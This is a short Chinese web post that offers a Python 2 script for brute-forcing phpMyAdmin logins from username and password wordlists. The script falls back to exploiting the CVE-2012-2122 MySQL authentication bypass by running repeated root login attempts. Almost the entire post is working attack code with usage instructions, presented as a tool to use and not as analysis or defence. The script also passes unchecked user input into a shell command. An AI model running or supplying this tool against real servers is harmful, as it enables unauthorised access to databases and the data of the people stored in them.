Python写的PHPMyAdmin暴力破解工具代码
PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。
#!/usr/bin/env python
import urllib
import urllib2
import cookielib
import sys
import subprocess
def Crack(url,username,password):
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar()))
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
params = urllib.urlencode({'pma_username': username, 'pma_password': password})
request = urllib2.Request(url+"/index.php", params,headers)
response = opener.open(request)
a=response.read()
if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
return username,password
return 0
def MySQLAuthenticationBypassCheck(host,port):
i=0
while i<300:
i=i+1
subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
if len(sys.argv)<4:
print "#author:iswin\n#useage python pma.py //www.jb51.net/phpmyadmin/ username.txt password.txt"
sys.exit()
print "Bruting,Pleas wait..."
for name in open(sys.argv[2],"r"):
for passw in open(sys.argv[3],"r"):
state=Crack(sys.argv[1],name,passw)
if state!=0:
print "\nBrute successful"
print "UserName: "+state[0]+"PassWord: "+state[1]
sys.exit()
print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
if choice=='Y' or choice=='y':
host=raw_input('Host:')
port=raw_input('Port:')
MySQLAuthenticationBypassCheck(host,port)
